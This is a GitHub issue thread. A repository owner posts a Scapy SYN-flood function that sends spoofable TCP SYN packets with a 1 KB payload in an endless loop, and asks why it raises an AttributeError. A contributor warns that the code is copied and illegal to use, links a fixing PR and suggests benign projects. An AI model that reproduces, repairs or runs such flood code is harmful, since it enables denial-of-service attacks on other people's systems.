Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

--HELP WANTED-- #2

Closed
Gteditor99 opened this issue Sep 3, 2021 · 3 comments
Closed

--HELP WANTED-- #2

Gteditor99 opened this issue Sep 3, 2021 · 3 comments

Comments

@Gteditor99
Copy link
Owner

def DoS_synflood():  
    # forge IP packet with target ip as the destination IP address

    ip = IP(dst=target_ip)

    # forge a TCP SYN packet with a random source port
    # and the target port as the destination port

    tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
    
    # add some flooding data (1kb in this case)
    raw = RawVal(b"X"*1024)

    # stack up the layers
    p = ip / tcp / raw 

    # send the constructed packet in a loop until CTRL+C is detected 
    send(p, loop=1, verbose=0)

I replaced

while True:
      subprocess.run('bot.bat')

with Scapy, for more efficient code & the ability to implement more options,
like SYN Flooding (A.k.a TCP flooding), or IP spoofing. This also means that a dependency will be added, Ncpcap,
And will have to be manually installed by the user.

Speaking of SYN flooding, the function there, ( DoS_synflood() ) has 5 parts.

  1. Statement IP, (First layer, links the user input to the actual chunk.)
  2. Statement TCP, (Second layer, links the user input to the actual chunk.)
  3. Statement RAW, (Third layer, determines the flooding data.

The problem here is that when executed, (In debug mode) this happens:

Exception has occurred: AttributeError
'RawVal' object has no attribute '__rdiv__'
  File "C:\Users\xxxxxxx\xxxxx\Nzen2-DDoS\DDoS.py", line 141, in DoS_synflood
    p = ip / tcp / raw
  File "C:\Users\xxxxxxx\xxxxx\Nzen2-DDoS\DDoS.py", line 161, in <module>
    DoS_synflood()

It's obviously referring to raw = RawVal(b"X"*1024), but I have yet to figure out what 'rdiv' is.
Help?

@Gteditor99 Gteditor99 pinned this issue Sep 3, 2021
@ksong0xd
Copy link
Contributor

ksong0xd commented Sep 3, 2021

Gteditor99, please Don't use the code you can easily copy from the internet just as it is without understanding it! It doesn't help you to learn anything...

https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python

https://github.com/x4nth055/pythoncode-tutorials/blob/master/scapy/syn-flood/syn_flood.py

those would be one of the sources you might copy. you always have to write down on your source to let anybody know where you copy the code from if you did. by the way the original code seems not working with the port. It only allows IP addresses. since you don't know which version of Scapy is used for the original source of your code - pip install just pull the latest version - it could be a problem with the latest version of the Scapy library or something else. I don't suggest you spend much time figuring out those library issues if you don't quickly find a solution. It wastes your time and blocks you from doing better great projects like games, the utility projects I told you to help your family.

I want to give you a better project idea.

  • an application to automatically send your father an email to let him know his favorite stock information
  • an application to automatically send your mother an email to let her know her favorite house market information
  • game whatever you likes

those are really great projects for you to start a journey as a programmer! (which I also did when I was your age)

if you'd like to follow the utility idea, please write it as a plan first, like a sequence flow

like

  1. access some web site to get some information
  2. parse it
  3. creating an email body with the information
  4. send it to the mail server
  5. run something every day...

Then you can start your coding to make your family happy along with your learning.
also, ask your family to know what they need! which gives your a great idea!

Gteditor99!
If you really want to do some hacking I can give you lots of code and tools but using it for testing is illegal which makes your father and mother in danger because they are responsible for what you did until you became an adult.

@ksong0xd
Copy link
Contributor

ksong0xd commented Sep 3, 2021

merge this PR if you want to run your code correctly https://github.com/Gteditor99/Nzen2-DDoSpy/pull/3/files

and explanation of the code #3

But I hope you find a better project idea instead of this hacking stuff. hacking doesn't give you much learning and doesn't train your logical thinking for your future...and it needs a lot of studies to understand many many stuffs (remember the difference between know and understand) and totally it doesn't help you to achieve your dream like working in Tesla :)

find something that you can help your family or someone else.

@Gteditor99
Copy link
Owner Author

Fair enough.
I have a idea of another repo:
With the recent surge of crypto currency, and NFT, it's only logical to participate in the hype, And expand my skills as I go. There's this module called "Names". It allows me to generate names, without having to make a list of names, (Female and Male). The Idea is that:

  1. generate about 100 names.
  2. I turn the names in to a list : list()
  3. I make a function: pick one name from the list, determine a random word and a random symbol.
  4. I make a image file, with Pillow, that will be like:

Mark $

everlong

  1. Auto uploads the 100 files to Opensea.

In the meantime I will keep this repo open.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants